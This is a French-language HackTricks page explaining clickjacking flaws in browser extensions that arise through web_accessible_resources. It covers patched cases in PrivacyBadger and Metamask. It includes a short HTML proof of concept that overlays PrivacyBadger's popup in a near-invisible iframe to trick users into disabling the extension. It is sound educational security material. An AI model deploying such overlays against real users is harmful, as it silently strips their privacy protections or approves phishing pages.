7.8 KiB
BrowExt - ClickJacking
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Informations de base
Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce qu'est le ClickJacking, consultez :
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Les extensions contiennent le fichier manifest.json
et ce fichier JSON a un champ web_accessible_resources
. Voici ce que les documents Chrome en disent :
Ces ressources seraient alors disponibles dans une page web via l'URL
chrome-extension://[ID DU PACKAGE]/[CHEMIN]
, qui peut être générée avec la méthodeextension.getURL
. Les ressources autorisées sont servies avec des en-têtes CORS appropriés, elles sont donc disponibles via des mécanismes tels que XHR.1
Les web_accessible_resources
dans une extension de navigateur ne sont pas seulement accessibles via le web ; ils fonctionnent également avec les privilèges inhérents de l'extension. Cela signifie qu'ils ont la capacité de :
- Changer l'état de l'extension
- Charger des ressources supplémentaires
- Interagir avec le navigateur dans une certaine mesure
Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource dans web_accessible_resources
a une fonctionnalité significative, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Les utilisateurs qui visitent cette page sans méfiance pourraient activer involontairement cette ressource intégrée. Une telle activation pourrait entraîner des conséquences non intentionnelles, en fonction des autorisations et des capacités des ressources de l'extension.
Exemple de PrivacyBadger
Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée concernant le répertoire skin/
déclaré comme web_accessible_resources
de la manière suivante (Consultez le billet de blog original) :
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Cette configuration a entraîné un problème de sécurité potentiel. Plus précisément, le fichier skin/popup.html
, qui est affiché lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pourrait être intégré dans un iframe
. Cette intégration pourrait être exploitée pour tromper les utilisateurs en les incitant à cliquer involontairement sur "Désactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection de PrivacyBadger et en exposant potentiellement l'utilisateur à un suivi accru. Une démonstration visuelle de cette exploitation peut être visionnée dans un exemple vidéo de ClickJacking fourni à l'adresse https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Pour remédier à cette vulnérabilité, une solution simple a été mise en œuvre : la suppression de /skin/*
de la liste des web_accessible_resources
. Ce changement a efficacement atténué le risque en veillant à ce que le contenu du répertoire skin/
ne puisse pas être accédé ou manipulé via des ressources accessibles sur le Web.
La correction était simple : supprimer /skin/*
des `web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Exemple Metamask
Un article de blog sur une attaque par ClickJacking dans Metamask peut être trouvé ici. Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était https:
ou http:
(et non chrome:
par exemple) :
![](/Mirrors/hacktricks/media/commit/d165a0ea296cff198a9112ddb43fad5f8ee3746c/.gitbook/assets/image%20%285%29.png)
Un autre ClickJacking corrigé dans l'extension Metamask était que les utilisateurs pouvaient Cliquer pour autoriser lorsqu'une page était suspectée d'être une tentative de phishing en raison de “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée.
Exemple Steam Inventory Helper
Consultez la page suivante pour voir comment une XSS dans une extension de navigateur a été associée à une vulnérabilité de ClickJacking :
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Références
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.